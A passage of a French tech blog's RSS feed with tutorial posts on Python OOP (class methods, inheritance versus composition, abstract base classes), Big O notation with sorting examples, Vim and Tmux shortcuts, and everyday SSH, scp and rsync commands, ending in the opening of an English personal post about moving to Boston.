        print(&#34;{} a {} ans&#34;.format(self.name, self.age))

class Man(Person):
    sex = &#39;Male&#39;

man = Man.from_birth_year(&#39;John&#39;, 1985)
print(isinstance(man, Man))

man1 = Man.from_fathers_age(&#39;John&#39;, 1965, 20)
print(isinstance(man1, Man))
</code></pre><br/>
<p>Output:</p>
<pre tabindex="0"><code>True
False
</code></pre><p>Ici en utilisant une static method pour créer une instance de classe cela nous oblige à hardcoder le type d&rsquo;instance pendant sa création: <code>def from_fathers(... return Person(name...</code> .</p>
<p>Cela pose clairement un problème pour l&rsquo;héritage Personne à Man.</p>
<p>La méthode <code>from_fathers_age</code> ne retourne pas un objet <code>Man</code> mais l&rsquo;objet de classe de base de <code>Person</code>.</p>
<br/>
<p>Cela viole le paradigme OOP&hellip;</p>
]]></content>
        </item>
        
        <item>
            <title>Héritage vs Composition en programmation orientée objet </title>
            <link>https://leandeep.com/h%C3%A9ritage-vs-composition-en-programmation-orient%C3%A9e-objet/</link>
            <pubDate>Fri, 09 Nov 2012 21:02:00 +0000</pubDate>
            
            <guid>https://leandeep.com/h%C3%A9ritage-vs-composition-en-programmation-orient%C3%A9e-objet/</guid>
            <description>&lt;h2 id=&#34;introduction&#34;&gt;Introduction&lt;/h2&gt;
&lt;p&gt;Petit article rapide pour rappeler la différence entre héritage et composition en POO et la représentation UML.&lt;/p&gt;
&lt;br/&gt;
&lt;h2 id=&#34;rappel-héritage-est-un&#34;&gt;Rappel héritage (&amp;ldquo;est un&amp;rdquo;)&lt;/h2&gt;
&lt;p&gt;L&amp;rsquo;héritage est une relation de spécialisation/généralisation entre deux classes. Elle indique qu’une classe dite classe fille spécialise une autre classe dite classe mère.
En d&amp;rsquo;autres termes, une classe fille possède les attributs et les méthodes de la classe mère plus d’autres qui lui sont propres. On parle aussi de super classe et de sous classe.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<h2 id="introduction">Introduction</h2>
<p>Petit article rapide pour rappeler la différence entre héritage et composition en POO et la représentation UML.</p>
<br/>
<h2 id="rappel-héritage-est-un">Rappel héritage (&ldquo;est un&rdquo;)</h2>
<p>L&rsquo;héritage est une relation de spécialisation/généralisation entre deux classes. Elle indique qu’une classe dite classe fille spécialise une autre classe dite classe mère.
En d&rsquo;autres termes, une classe fille possède les attributs et les méthodes de la classe mère plus d’autres qui lui sont propres. On parle aussi de super classe et de sous classe.</p>
<br/>
<h2 id="example-dhéritage-en-python">Example d&rsquo;héritage en Python</h2>
<pre tabindex="0"><code>class classeMere:
    &#34;&#34;&#34;une classe mère&#34;&#34;&#34;
    ...

class classeFille(classeMere):
    &#34;&#34;&#34;une classe fille qui hérite de la classe mère&#34;&#34;&#34;
    ...
</code></pre><br/>
<h2 id="constructeur">Constructeur</h2>
<p>Le constructeur de la classe fille doit faire un appel explicite au constructeur de la classe mère afin d’initialiser les attributs hérités de celle-ci. Pour cela on aura deux syntaxes à notre disposition.</p>
<p>Dans la première syntaxe possible, on fait précéder <code>__init__</code> du nom de la classe mère :</p>
<p><strong>1ère syntaxe</strong></p>
<pre tabindex="0"><code>class classeFille(classeMere):
    &#34;&#34;&#34;documentation de la classe fille&#34;&#34;&#34;
    def __init__(self, parametre1, parametre2, ...):
        classeMere.__init__(self, parametre1, ...)
        ...
</code></pre><br/>
<p><strong>2ème syntaxe</strong></p>
<pre tabindex="0"><code>class classeFille(classeMere):
    &#34;&#34;&#34;documentation de la classe fille&#34;&#34;&#34;
    def __init__(self, parametre1, parametre2, ...):
        super().__init__(parametre1, ...)
        ...
</code></pre><br/>
<h2 id="représentation-uml">Représentation UML</h2>
<p><img src="/images/heritage.png" alt="image"></p>
<br/>
<h2 id="rappel-composition-a-un">Rappel composition (&ldquo;a un&rdquo;)</h2>
<p>La relation de composition modélise une relation d’inclusion entre les instances de deux classes. Les objets de la classe conteneur possèdent donc un attribut qui est un objet de la classe contenue.</p>
<p>Dans certains cas il est tout à fait possible techniquement d’utiliser une relation de composition à la place d’une relation d’héritage.</p>
<p>Au lieu d’avoir une classe B qui hérite d’une classe A, on déclare dans B un attribut qui sera une instance de la classe A.</p>
<br/>
<h2 id="example-de-composition-en-python">Example de composition en Python</h2>
<pre tabindex="0"><code>class point:
    def __init__(self,x,y):
        self.__x = x
        self.__y = y
    def getx(self):
        return self.__x
    def gety(self):
        return self.__y

class disque:
    def __init__(self,x,y,r):
        self.__r = r
        self.__centre = point(x,y)
    def surface(self):
        return 3.14 * self.__r**2
    def getCentre(self):
        return self.__centre

cd = disque(-1, 2, 5)
print(&#34;abscisse du centre :&#34;,cd.getCentre().getx())
print(&#34;ordonnée du centre :&#34;,cd.getCentre().gety())
</code></pre><br/>
<h2 id="représentation-uml-1">Représentation UML</h2>
<p><img src="/images/composition-agregation.png" alt="image"></p>
<br/>
<h2 id="héritage-vs-composition-en-python">Héritage vs Composition en Python</h2>
<p><strong>Exemples simples</strong></p>
<pre tabindex="0"><code># Héritage
class Vehicule:
	pass

class Bicycle(Vehicule)
	pass

#######################################

# Composition
class Engine:
	pass

class Car:
	def __init__(self):
    	self.engine = Engine()
</code></pre><br/>
<h2 id="choisir-entre-composition-et-héritage-">Choisir entre composition et héritage ?</h2>
<p>On choisit l’héritage quand la relation entre classes est bien de la forme <code>est un</code>, ou pour les anglicistes <code>is a</code>.</p>
<p>On choisit la composition quand la relation entre classes est bien de la forme <code>a un</code>, ou pour les anglicistes <code>has a</code>.</p>
<p>Si l&rsquo;on suit les recommandations du best seller &ldquo;Design Patterns - Elements of Reusable Object Oriented Software&rdquo; (du Gang of 4), il vaut mieux utiliser la composition.</p>
<p><img src="/images/best-seller-design-patterns-OOP.png" alt="image"></p>
<p>Object composition consiste à voir les objets comme des boites noires. C&rsquo;est plus simple que de faire de l&rsquo;héritage où il faut connaître les détails de l&rsquo;objet pour l&rsquo;utiliser</p>
<p>&mdash; Mis à jour 21/05/2019 &mdash;</p>
<p>La conférence &ldquo;PyCon Cleveland 2019&rdquo; a une vidéo intéressante sur le sujet: <a href="https://www.youtube.com/watch?time_continue=1&amp;v=YXiaWtc0cgE">https://www.youtube.com/watch?time_continue=1&v=YXiaWtc0cgE</a></p>
<br/>
<p><strong>Quand utiliser l&rsquo;héritage ?</strong></p>
<ol>
<li>
<p>Quand la base classe et la classe dérivée appartiennent au même module/ package et sous le contrôle des mêmes développeurs.</p>
</li>
<li>
<p>Quand il y a une bonne doc (exmple JSONEncoder)</p>
</li>
<li>
<p>Quand l&rsquo;objet dérivé a un lien de type &ldquo;est un&rdquo; au lieu des &ldquo;a un&rdquo;</p>
</li>
<li>
<p>Ils ne sont pas concurrent mais complémentaire</p>
</li>
<li>
<p>Quand on utilise l&rsquo;héritage, il ne faut pas oublier le principe de substitution de Liskov</p>
</li>
</ol>
]]></content>
        </item>
        
        <item>
            <title>Obliger les classes dérivées à implémenter certaines méthodes en Python</title>
            <link>https://leandeep.com/obliger-les-classes-d%C3%A9riv%C3%A9es-%C3%A0-impl%C3%A9menter-certaines-m%C3%A9thodes-en-python/</link>
            <pubDate>Mon, 29 Oct 2012 21:12:00 +0000</pubDate>
            
            <guid>https://leandeep.com/obliger-les-classes-d%C3%A9riv%C3%A9es-%C3%A0-impl%C3%A9menter-certaines-m%C3%A9thodes-en-python/</guid>
            <description>&lt;p&gt;Pour être notifié dès l&amp;rsquo;instanciation d&amp;rsquo;une classe que des méthodes n&amp;rsquo;ont pas été implémentées on peut utiliser le module &lt;code&gt;ABC&lt;/code&gt; (Abstract Base Classes).
On crée alors avec le module &lt;code&gt;ABC&lt;/code&gt; une classe de base dont on va se servir pour dériver notre sous-classe. Dans la classe de base on créera des méthodes abstraites à implémenter dans la sous-classe.&lt;/p&gt;
&lt;br/&gt;
&lt;p&gt;Exemple:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;from abc import ABCMeta, abstractmethod

class Base(metaclass=ABCMeta):
	@abstractmethod
    def foo(self):
    	pass
        
    @abstractmethod
    def bar(self):
	    pass
&lt;/code&gt;&lt;/pre&gt;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;class Concrete(Base):
	def foo(self):
    	pass
        
        # on ne déclare pas bar() volontairement 
&lt;/code&gt;&lt;/pre&gt;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;assert issubclass(Concrete, Base)
&lt;/code&gt;&lt;/pre&gt;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;c = Concrete()
TypeError:
&amp;#34;Can&amp;#39;t instantiate abstract class Concrete with abstract methods bar&amp;#34;
&lt;/code&gt;&lt;/pre&gt;&lt;blockquote&gt;
&lt;p&gt;Sans le module &lt;code&gt;ABC&lt;/code&gt; n&amp;rsquo;avait pas été présent, on aurait obtenu &lt;code&gt;NotImplementedError&lt;/code&gt; si une méthode non implémentée avait été appelée.
Avec &lt;code&gt;ABC&lt;/code&gt; on est alerté dès l&amp;rsquo;instanciation de la classe que la méthode n&amp;rsquo;existe pas.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>Pour être notifié dès l&rsquo;instanciation d&rsquo;une classe que des méthodes n&rsquo;ont pas été implémentées on peut utiliser le module <code>ABC</code> (Abstract Base Classes).
On crée alors avec le module <code>ABC</code> une classe de base dont on va se servir pour dériver notre sous-classe. Dans la classe de base on créera des méthodes abstraites à implémenter dans la sous-classe.</p>
<br/>
<p>Exemple:</p>
<pre tabindex="0"><code>from abc import ABCMeta, abstractmethod

class Base(metaclass=ABCMeta):
	@abstractmethod
    def foo(self):
    	pass
        
    @abstractmethod
    def bar(self):
	    pass
</code></pre><pre tabindex="0"><code>class Concrete(Base):
	def foo(self):
    	pass
        
        # on ne déclare pas bar() volontairement 
</code></pre><pre tabindex="0"><code>assert issubclass(Concrete, Base)
</code></pre><pre tabindex="0"><code>c = Concrete()
TypeError:
&#34;Can&#39;t instantiate abstract class Concrete with abstract methods bar&#34;
</code></pre><blockquote>
<p>Sans le module <code>ABC</code> n&rsquo;avait pas été présent, on aurait obtenu <code>NotImplementedError</code> si une méthode non implémentée avait été appelée.
Avec <code>ABC</code> on est alerté dès l&rsquo;instanciation de la classe que la méthode n&rsquo;existe pas.</p></blockquote>
]]></content>
        </item>
        
        <item>
            <title>La notation &#34;Big O&#34;</title>
            <link>https://leandeep.com/la-notation-big-o/</link>
            <pubDate>Tue, 18 Sep 2012 08:08:00 +0000</pubDate>
            
            <guid>https://leandeep.com/la-notation-big-o/</guid>
            <description>&lt;p&gt;La notation &amp;ldquo;big O&amp;rdquo; est utilisée pour analyser et comparer l&amp;rsquo;efficacité des algorithmes en termes de temps d&amp;rsquo;exécution ou de consommation de ressources.&lt;/p&gt;
&lt;p&gt;La notation big O est notée généralement comme &lt;code&gt;O(f(n))&lt;/code&gt;, où &lt;code&gt;f(n)&lt;/code&gt; est une fonction qui représente la complexité de l&amp;rsquo;algorithme en fonction de la taille de l&amp;rsquo;entrée, n. Le O indique l&amp;rsquo;ordre de grandeur ou la limite supérieure de la complexité.&lt;/p&gt;
&lt;p&gt;Par exemple, si un algorithme a une complexité de &lt;code&gt;O(n)&lt;/code&gt;, cela signifie que le temps d&amp;rsquo;exécution de l&amp;rsquo;algorithme est linéairement proportionnel à la taille de l&amp;rsquo;entrée.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>La notation &ldquo;big O&rdquo; est utilisée pour analyser et comparer l&rsquo;efficacité des algorithmes en termes de temps d&rsquo;exécution ou de consommation de ressources.</p>
<p>La notation big O est notée généralement comme <code>O(f(n))</code>, où <code>f(n)</code> est une fonction qui représente la complexité de l&rsquo;algorithme en fonction de la taille de l&rsquo;entrée, n. Le O indique l&rsquo;ordre de grandeur ou la limite supérieure de la complexité.</p>
<p>Par exemple, si un algorithme a une complexité de <code>O(n)</code>, cela signifie que le temps d&rsquo;exécution de l&rsquo;algorithme est linéairement proportionnel à la taille de l&rsquo;entrée.</p>
<p><br/>
<br/></p>
<p>Voici quelques exemples courants de notations big O:</p>
<p><strong><code>O(1)</code>: Notation constante</strong></p>
<p>Cela signifie que l&rsquo;algorithme a un temps d&rsquo;exécution constant, indépendamment de la taille de l&rsquo;entrée. Par exemple, accéder à un élément spécifique dans un tableau de taille n a une complexité de <code>O(1)</code>.</p>
<p>Exemple d&rsquo;algo:</p>
<pre tabindex="0"><code>def get_first_element(arr):
    return arr[0]
</code></pre><br/>
<p><strong><code>O(log n)</code>: Notation logarithmique</strong></p>
<p>Cela indique que l&rsquo;algorithme a un temps d&rsquo;exécution qui croît de manière logarithmique par rapport à la taille de l&rsquo;entrée. Les algorithmes de recherche binaires ou les arbres de recherche équilibrés, comme les arbres binaires de recherche, ont une complexité de <code>O(log n)</code>.</p>
<p>Exemple d&rsquo;algo:</p>
<pre tabindex="0"><code>def recherche_binaire(liste, element):
    debut = 0
    fin = len(liste) - 1

    while debut &lt;= fin:
        milieu = (debut + fin) // 2  # Calcul de l&#39;indice du milieu

        if liste[milieu] == element:
            return milieu  # L&#39;élément a été trouvé à l&#39;indice milieu
        elif liste[milieu] &lt; element:
            debut = milieu + 1  # Recherche dans la moitié supérieure de la liste
        else:
            fin = milieu - 1  # Recherche dans la moitié inférieure de la liste

    return -1  # L&#39;élément n&#39;a pas été trouvé

# Exemple d&#39;utilisation
ma_liste = [2, 5, 8, 12, 16, 23, 38, 56, 72, 91]
element_recherche = 23

indice = recherche_binaire(ma_liste, element_recherche)

if indice != -1:
    print(&#34;L&#39;élément&#34;, element_recherche, &#34;a été trouvé à l&#39;indice&#34;, indice)
else:
    print(&#34;L&#39;élément&#34;, element_recherche, &#34;n&#39;a pas été trouvé dans la liste.&#34;)
</code></pre><p>Voici les étapes de base de l&rsquo;algorithme de recherche binaire :</p>
<ol>
<li>Comparer l&rsquo;élément recherché avec l&rsquo;élément du milieu de la liste.</li>
<li>Si les deux éléments sont égaux, la recherche est terminée et l&rsquo;élément est trouvé.</li>
<li>Si l&rsquo;élément recherché est inférieur à celui du milieu de la liste, la recherche continue dans la moitié inférieure de la liste.</li>
<li>Si l&rsquo;élément recherché est supérieur à celui du milieu de la liste, la recherche continue dans la moitié supérieure de la liste.</li>
<li>Répéter les étapes 1 à 4 jusqu&rsquo;à ce que l&rsquo;élément soit trouvé ou que la liste soit réduite à une taille nulle.</li>
</ol>
<br/>
<p><strong><code>O(n)</code>: Notation linéaire</strong></p>
<p>Cela signifie que l&rsquo;algorithme a un temps d&rsquo;exécution proportionnel à la taille de l&rsquo;entrée. Par exemple, parcourir un tableau de n éléments a une complexité de <code>O(n)</code>.</p>
<br/>
<p><strong><code>O(n log n)</code>: Notation quasi-linéaire</strong></p>
<p>Cela indique une complexité légèrement supérieure à linéaire. De nombreux algorithmes de tri efficaces, tels que le tri fusion (merge sort) ou le tri rapide (quick sort), ont une complexité de <code>O(n log n)</code>.</p>
<p>Exemple d&rsquo;algo:</p>
<pre tabindex="0"><code>def merge_sort(arr):
    if len(arr) &lt;= 1:
        return arr
    
    mid = len(arr) // 2
    left_half = arr[:mid]
    right_half = arr[mid:]
    
    left_half = merge_sort(left_half)
    right_half = merge_sort(right_half)
    
    return merge(left_half, right_half)

def merge(left, right):
    merged = []
    i, j = 0, 0
    
    while i &lt; len(left) and j &lt; len(right):
        if left[i] &lt; right[j]:
            merged.append(left[i])
            i += 1
        else:
            merged.append(right[j])
            j += 1
            
    merged.extend(left[i:])
    merged.extend(right[j:])
    
    return merged

arr = [7, 2, 5, 1, 8, 3]
sorted_arr = merge_sort(arr)
print(sorted_arr)
</code></pre><br/>
<p><strong><code>O(n^2)</code>: Notation quadratique</strong></p>
<p>Cela signifie que l&rsquo;algorithme a un temps d&rsquo;exécution quadratique par rapport à la taille de l&rsquo;entrée. Par exemple, une méthode de tri par sélection (selection sort) a une complexité de <code>O(n^2)</code>.</p>
<p>Exemple d&rsquo;algo:</p>
<pre tabindex="0"><code>def bubble_sort(arr):
    n = len(arr)
    
    for i in range(n):
        for j in range(n - i - 1):
            if arr[j] &gt; arr[j + 1]:
                arr[j], arr[j + 1] = arr[j + 1], arr[j]
                
    return arr
</code></pre><br/>
<p><strong><code>O(2^n)</code>: Notation exponentielle</strong></p>
<p>Cela indique une complexité exponentielle, où le temps d&rsquo;exécution double à chaque augmentation de la taille de l&rsquo;entrée. Les problèmes NP-complets, tels que le problème du sac à dos (knapsack problem), ont souvent une complexité exponentielle.</p>
<p>Exemple d&rsquo;algo:</p>
<pre tabindex="0"><code>def fibonacci(n):
    if n &lt;= 1:
        return n
    else:
        return fibonacci(n - 1) + fibonacci(n - 2)
</code></pre>]]></content>
        </item>
        
        <item>
            <title>Commandes de base pour Vim et Tmux</title>
            <link>https://leandeep.com/commandes-de-base-pour-vim-et-tmux/</link>
            <pubDate>Mon, 10 Sep 2012 08:08:00 +0000</pubDate>
            
            <guid>https://leandeep.com/commandes-de-base-pour-vim-et-tmux/</guid>
            <description>&lt;p&gt;Je suis en train d&amp;rsquo;apprendre à utiliser Vim et Tmux. Cette page contient les commandes de base pour l&amp;rsquo;utiliser.&lt;/p&gt;
&lt;br/&gt;
&lt;h1 id=&#34;vim&#34;&gt;Vim&lt;/h1&gt;
&lt;h2 id=&#34;déplacements&#34;&gt;Déplacements&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Mot suivant (next Word)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;w&lt;/code&gt;&lt;/p&gt;
&lt;br/&gt;
&lt;p&gt;&lt;strong&gt;Mot précédent (word Backward)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;b&lt;/code&gt;&lt;/p&gt;
&lt;br/&gt;
&lt;p&gt;&lt;strong&gt;Sélection verticale et insert&lt;/strong&gt;&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;ctrl + v // sélection verticale
shift + i // Entrer le texte à insérer
esc esc
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;p&gt;&lt;strong&gt;Fin de ligne&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;$&lt;/code&gt;&lt;/p&gt;
&lt;br/&gt;
&lt;p&gt;&lt;strong&gt;Début de ligne&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;0&lt;/code&gt;&lt;/p&gt;
&lt;br/&gt;
&lt;p&gt;&lt;strong&gt;Début de fichier&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;gg&lt;/code&gt;&lt;/p&gt;
&lt;br/&gt;
&lt;p&gt;&lt;strong&gt;Fin de fichier&lt;/strong&gt;&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>Je suis en train d&rsquo;apprendre à utiliser Vim et Tmux. Cette page contient les commandes de base pour l&rsquo;utiliser.</p>
<br/>
<h1 id="vim">Vim</h1>
<h2 id="déplacements">Déplacements</h2>
<p><strong>Mot suivant (next Word)</strong></p>
<p><code>w</code></p>
<br/>
<p><strong>Mot précédent (word Backward)</strong></p>
<p><code>b</code></p>
<br/>
<p><strong>Sélection verticale et insert</strong></p>
<pre tabindex="0"><code>ctrl + v // sélection verticale
shift + i // Entrer le texte à insérer
esc esc
</code></pre><br/>
<p><strong>Fin de ligne</strong></p>
<p><code>$</code></p>
<br/>
<p><strong>Début de ligne</strong></p>
<p><code>0</code></p>
<br/>
<p><strong>Début de fichier</strong></p>
<p><code>gg</code></p>
<br/>
<p><strong>Fin de fichier</strong></p>
<p><code>G</code></p>
<br/>
<p><strong>Help</strong></p>
<p><code>:help word-motions</code></p>
<br/>
<h2 id="copier">Copier</h2>
<p><strong>Copier la ligne</strong></p>
<p><code>yy</code></p>
<br/>
<p><strong>Copier du curseur jusqu&rsquo;au prochain Word</strong></p>
<p><code>yw</code></p>
<br/>
<p><strong>Copier du curseur jusqu&rsquo;à la fin de la ligne</strong></p>
<p><code>y$</code></p>
<br/>
<p><strong>Copier du curseur jusqu&rsquo;au début de la ligne</strong></p>
<p><code>y0</code></p>
<br/>
<p><strong>Copier 4 lignes</strong></p>
<p><code>4yy</code></p>
<br/>
<p><strong>Copier les 3 prochains Words</strong></p>
<p><code>3yw</code></p>
<br/>
<h2 id="coller">Coller</h2>
<p><strong>Coller 1 fois</strong></p>
<p><code>p</code></p>
<br/>
<p><strong>Coller 4 fois</strong></p>
<p><code>4p</code></p>
<br/>
<h2 id="annuler">Annuler</h2>
<p><strong>Annuler la dernière commande</strong></p>
<p><code>u</code></p>
<br/>
<p><strong>Annuler toutes les commandes faites sur la ligne</strong></p>
<p><code>U</code></p>
<br/>
<p><strong>Annuler l&rsquo;annulation</strong></p>
<p><code>ctrl + R</code></p>
<br/>
<h2 id="rechercher">Rechercher</h2>
<p><strong>Recherche simple</strong></p>
<p><code>/recherche</code></p>
<br/>
<p><strong>Next occurrence</strong></p>
<p><code>n</code></p>
<br/>
<p><strong>Previous occurrence</strong></p>
<p><code>N</code></p>
<br/>
<p><strong>Rechercher fermeture parenthèse</strong></p>
<p>Placer le curseur sur une ouverture de parenthèse et appuyer sur <code>%</code></p>
<blockquote>
<p>Fonctionne aussi avec les square brackets et curly braces</p></blockquote>
<br/>
<h1 id="tmux">Tmux</h1>
<p><strong>Démarrer une session et lui donner un nom</strong></p>
<p><code>tmux new -s ma-session</code></p>
<br/>
<p><strong>Renommer une session</strong></p>
<p><code>tmux rename-session -t 0 ma-session-renommee</code></p>
<br/>
<p><strong>Split window vertical</strong></p>
<p><code>Ctrl + b + %</code></p>
<br/>
<p><strong>Split window horizontal</strong></p>
<p><code>Ctrl + b + &quot;</code></p>
<br/>
<p><strong>Switch to next panel</strong></p>
<p><code>Ctrl + b + o</code></p>
<br/>
<p><strong>Switch de panel dans n&rsquo;importe quelle direction</strong></p>
<p><code>Ctrl + b + Arrow</code></p>
<br/>
<p><strong>Killer un panel</strong></p>
<p><code>Ctrl + d</code></p>
]]></content>
        </item>
        
        <item>
            <title>Commandes de base SSH</title>
            <link>https://leandeep.com/commandes-de-base-ssh/</link>
            <pubDate>Sat, 10 Dec 2011 09:49:00 +0200</pubDate>
            
            <guid>https://leandeep.com/commandes-de-base-ssh/</guid>
            <description>&lt;h2 id=&#34;connexion&#34;&gt;Connexion&lt;/h2&gt;
&lt;p&gt;Dans un terminal, exécuter la commande suivante:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;ssh user@host
&lt;/code&gt;&lt;/pre&gt;&lt;blockquote&gt;
&lt;p&gt;Par défaut le port 22 est utilisé&lt;/p&gt;&lt;/blockquote&gt;
&lt;br/&gt;
&lt;p&gt;&lt;strong&gt;Se connecter sur un port particulier:&lt;/strong&gt;&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;ssh user@host -p port
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;p&gt;&lt;strong&gt;Créer des raccourcis pour vous connecter plus facilement à différents hosts:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Créer un fichier de config &lt;code&gt;~/.ssh/config&lt;/code&gt; et gérer vos config comme ceci:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;Host hostname1
    HostName 192.168.0.10
    User    olivier
    Port    1234

Host hostname2
    PubkeyAuthentication yes
    IdentityFile ~/.ssh/server_vps1
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Ensuite, il vous suffit d&amp;rsquo;utiliser les commandes suivantes pour vous connecter à vos différents hosts:&lt;/p&gt;</description>
            <content type="html"><![CDATA[<h2 id="connexion">Connexion</h2>
<p>Dans un terminal, exécuter la commande suivante:</p>
<pre tabindex="0"><code>ssh user@host
</code></pre><blockquote>
<p>Par défaut le port 22 est utilisé</p></blockquote>
<br/>
<p><strong>Se connecter sur un port particulier:</strong></p>
<pre tabindex="0"><code>ssh user@host -p port
</code></pre><br/>
<p><strong>Créer des raccourcis pour vous connecter plus facilement à différents hosts:</strong></p>
<p>Créer un fichier de config <code>~/.ssh/config</code> et gérer vos config comme ceci:</p>
<pre tabindex="0"><code>Host hostname1
    HostName 192.168.0.10
    User    olivier
    Port    1234

Host hostname2
    PubkeyAuthentication yes
    IdentityFile ~/.ssh/server_vps1
</code></pre><p>Ensuite, il vous suffit d&rsquo;utiliser les commandes suivantes pour vous connecter à vos différents hosts:</p>
<pre tabindex="0"><code>ssh hostname1
ssh hostname2
</code></pre><br/>
<h2 id="clé-ssh">Clé SSH</h2>
<p>Ajouter votre clé publique sur un serveur distant:</p>
<pre tabindex="0"><code>ssh-keygen -t rsa
cat id_rsa.pub | ssh user@host &#39;cat &gt;&gt; .ssh/authorized_keys&#39;
ssh user@host
</code></pre><br/>
<h2 id="remote-commands">Remote Commands</h2>
<p>Il est possible d&rsquo;exécuter des commandes à distance. Par exemple:</p>
<pre tabindex="0"><code>ssh user@host &#34;ls&#34;
</code></pre><p>Le stdin et stdout sera local</p>
<br/>
<h2 id="gérer-plusieurs-config-pour-le-même-serveur">Gérer plusieurs config pour le même serveur</h2>
<pre tabindex="0"><code>Host option1.host
    HostName host
    User     user1

Host option2.host
    HostName host
    User     user2
</code></pre><p>Puis pour vous connecter:</p>
<pre tabindex="0"><code>ssh option1.host
ssh option2.host
</code></pre><br/>
<h2 id="configurer-github-avec-protocol-ssh">Configurer Github avec protocol SSH</h2>
<pre tabindex="0"><code>Host repo1.github.com
    HostName github.com
    User git
    IdentityFile ~/.ssh/repo1_rsa

Host repo2.github.com
    HostName github.com
    User git
    IdentityFile ~/.ssh/repo2_rsa
</code></pre><p>Puis <code>git clone repo1.github.com</code></p>
<br/>
<h2 id="copier-des-fichier-over-ssh-avec-scp">Copier des fichier over SSH avec SCP</h2>
<pre tabindex="0"><code>scp mon_image.png olivier@remoteserver:/media/data/mon_image.png

# ou dans l&#39;autre sens
scp olivier@remoteserver:/media/data/mon_image.png mon_image.png

# Si votre fichier contient des espaces
file=&#34;foo bar/baz&#34;
file=${file// /\\ }
scp vps:&#34;$file&#34; .
</code></pre><blockquote>
<p>Le paramètre port est <code>-P</code> et pas <code>-p</code> contrairement à <code>SSH</code></p></blockquote>
<br/>
<h2 id="copier-votre-clé-publique-ssh-sur-une-machine-distante">Copier votre clé publique SSH sur une machine distante</h2>
<pre tabindex="0"><code>ssh-copy-id user@remoteserver
</code></pre><br/>
<p>Alternative:</p>
<pre tabindex="0"><code>cat ~/.ssh/id_rsa.pub | ssh remoteserver &#39;cat &gt;&gt; .ssh/authorized_keys&#39;
</code></pre><br/>
<h2 id="exécuter-une-commande-à-distance">Exécuter une commande à distance</h2>
<pre tabindex="0"><code>ssh remoteserver &#34;cat /var/log/nginx/access.log&#34; | grep &#34;string_to_find&#34;
</code></pre><blockquote>
<p><code>| grep ...</code> est exécuté localement</p></blockquote>
<br/>
<h2 id="copier-des-fichiers-à-distance-avec-rsync">Copier des fichiers à distance avec rsync</h2>
<pre tabindex="0"><code>rsync -azcrv --progress /home/olivier/data remoteserver:backup/
</code></pre><blockquote>
<p><code>-z</code> permet d&rsquo;avoir la compression gzip <br/>
<code>-a</code> permet d&rsquo;être en mode archive; ce qui revient à copier recursivement des fichiers
<code>-c</code> check checksum. Si le contenu du fichier est différent, le fichier est recopié
<code>-r</code> recursif
<code>-v</code> verbose</p></blockquote>
<br/>
<h2 id="ssh-sur-une--instance-ec2">SSH sur une  instance EC2</h2>
<pre tabindex="0"><code>chmod 400 my-ec2-ssh-key.pem
ssh -i ~/.ssh/my-ec2-key.pem ubuntu@my-ec2-public
</code></pre><br/>
<h2 id="mount-remote-ssh-location-comme-dossier-local-avec-sshfs">Mount remote SSH location comme dossier local avec SSHFS</h2>
<pre tabindex="0"><code># apt install sshfs # sur linux
# brew install sshfs # sur OSX
mkdir /tmp/data
sshfs user@remoteserver:/media/data /tmp/data/

# Umount with: 
## On OSX
sudo diskutil umount force /tmp/data

## On Linux
killall sshfs
sudo umount -l /tmp/data
</code></pre><br/>
<h2 id="jump-box">Jump box</h2>
<pre tabindex="0"><code>ssh -J host1,host2,host3 user@host4.internal
</code></pre>]]></content>
        </item>
        
        <item>
            <title>Boston here I am!</title>
            <link>https://leandeep.com/boston-here-i-am/</link>
            <pubDate>Sat, 01 Oct 2011 18:25:00 +0000</pubDate>
            
            <guid>https://leandeep.com/boston-here-i-am/</guid>
            <description>&lt;h2 id=&#34;back-in-the-usa-but-finally-not-in-san-francisco&#34;&gt;Back in the USA but finally not in San Francisco&lt;/h2&gt;
&lt;p&gt;&lt;img src=&#34;https://leandeep.com/images/boston.jpg&#34; alt=&#34;image&#34;&gt;&lt;/p&gt;
&lt;br/&gt;
&lt;p&gt;&lt;img src=&#34;https://leandeep.com/images/desk.jpg&#34; alt=&#34;image&#34;&gt;&lt;/p&gt;
&lt;br/&gt;
&lt;p&gt;It&amp;rsquo;s now been a year and a half since I started working remotely for Schneider Electric in Alameda. The plan was to return to San Francisco after my studies to rejoin my colleagues, but things have changed. I will be following my manager, who has moved to Boston, to take on a new opportunity at Schneider Electric in North Andover.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<h2 id="back-in-the-usa-but-finally-not-in-san-francisco">Back in the USA but finally not in San Francisco</h2>
<p><img src="/images/boston.jpg" alt="image"></p>
<br/>
<p><img src="/images/desk.jpg" alt="image"></p>
<br/>
<p>It&rsquo;s now been a year and a half since I started working remotely for Schneider Electric in Alameda. The plan was to return to San Francisco after my studies to rejoin my colleagues, but things have changed. I will be following my manager, who has moved to Boston, to take on a new opportunity at Schneider Electric in North Andover.</p>
<p>The mobile application I&rsquo;ve been working on is becoming increasingly important, and I&rsquo;ve had the opportunity to grow from a Junior Developer role with two and a half years of experience to a Team Lead. A recent graduate and an intern will be working with me, along with an experienced designer and a business analyst.</p>
